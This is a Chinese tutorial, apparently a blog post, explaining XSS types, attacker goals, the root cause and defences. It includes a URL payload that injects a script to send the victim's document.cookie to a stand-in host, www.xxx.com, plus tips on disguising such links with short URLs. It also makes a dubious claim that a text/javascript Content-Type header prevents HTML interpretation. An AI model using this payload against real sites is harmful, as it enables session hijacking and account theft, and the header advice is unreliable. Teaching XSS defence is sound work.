天天看點

web滲透—xss攻擊XSS分類 XSS目前主要的手段和目的如下:XSS原理預防XSS目前防禦XSS主要有如下幾種方式:

XSS攻擊:跨站腳本攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆, 故将跨站腳本攻擊縮寫為XSS。XSS是一種常見的web安全漏洞,它允許攻擊者将惡意代碼植入到提供給其它使用者使用的頁面中。

XSS分類

存儲型XSS:

主要出現在讓使用者輸入資料,供其他浏覽此頁的使用者進行檢視的地方,包括留言、評論、部落格日志和各類表單等。

應用程式從資料庫中查詢資料,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的腳本資料後,使用者浏覽此類頁面時就可能受到攻擊。

這個流程簡單可以描述為:惡意使用者的Html輸入Web程式->進入資料庫->Web程式->使用者浏覽器

反射型XSS:

将腳本代碼加入URL位址的請求參數裡,請求參數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。

基于DOM的xss:

通過修改頁面的DOM節點形成的XSS。也是反射型XSS的一種,因為形成原因比較特别,單獨拎出來。

構造資料方法:

1)在已有的标簽内添加事件

2)閉合原來的标簽,插入新的标簽

XSS目前主要的手段和目的如下:

o盜用cookie,擷取敏感資訊。

o利用植入Flash,通過crossdomain權限設定進一步擷取更高權限;或者利用Java等得到類似的操作。

o利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊者)使用者的身份執行一些管理動作, 或執行一些如:發微網誌、加好友、發私信等正常操作,前段時間新浪微網誌就遭遇過一次XSS。

o利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。

在通路量極大的一些頁面上的XSS可以攻擊一些小型網站,實作DDoS攻擊的效果

XSS原理

Web應用未對使用者送出請求的資料做充分的檢查過濾,允許使用者在送出的資料中摻入HTML代碼(最主要的是“>”、“<”), 并将未經轉義的惡意代碼輸出到第三方使用者的浏覽器解釋執行,是導緻XSS漏洞的産生原因。

以反射性XSS舉例說明XSS的過程,現在有一個網站,根據參數輸出使用者的名稱, 例如通路url:http://127.0.0.1/?name=foobar,就會在浏覽器輸出如下資訊:

1 hello foobar

如果我們傳遞這樣的url:

1 http://127.0.0.1/?name=<script>alert('foobar')</script>

這時你就會發現浏覽器跳出一個彈出框,這說明站點已經存在了XSS漏洞。

那麼惡意使用者是如何盜取Cookie的呢?與上類似,如下這樣的url:

1 http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>

這樣就可以把目前的cookie發送到指定的站點:www.xxx.com

你也許會說,這樣的URL一看就有問題,怎麼會有人點選?是的,這類的URL會讓人懷疑,但如果使用短網址服務将之縮短 ,你還看得出來麼?攻擊者将縮短過後的url通過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的url, 相應cookie資料就會被發送事先設定好的站點,這樣子就盜得了使用者的cookie資訊, 然後就可以利用Websleuth之類的工具來檢查是否能盜取那個使用者的賬戶。

預防XSS

答案很簡單,堅決不要相信使用者的任何輸入,并過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的XSS攻擊。

目前防禦XSS主要有如下幾種方式:

o 過濾特殊字元

避免XSS的方法之一主要是将使用者所提供的内容進行過濾。

o 使用HTTP頭指定類型

1 header.set("Content-Type","text/javascript")

這樣就可以讓浏覽器解析javascript代碼,而不會是html輸出。

繼續閱讀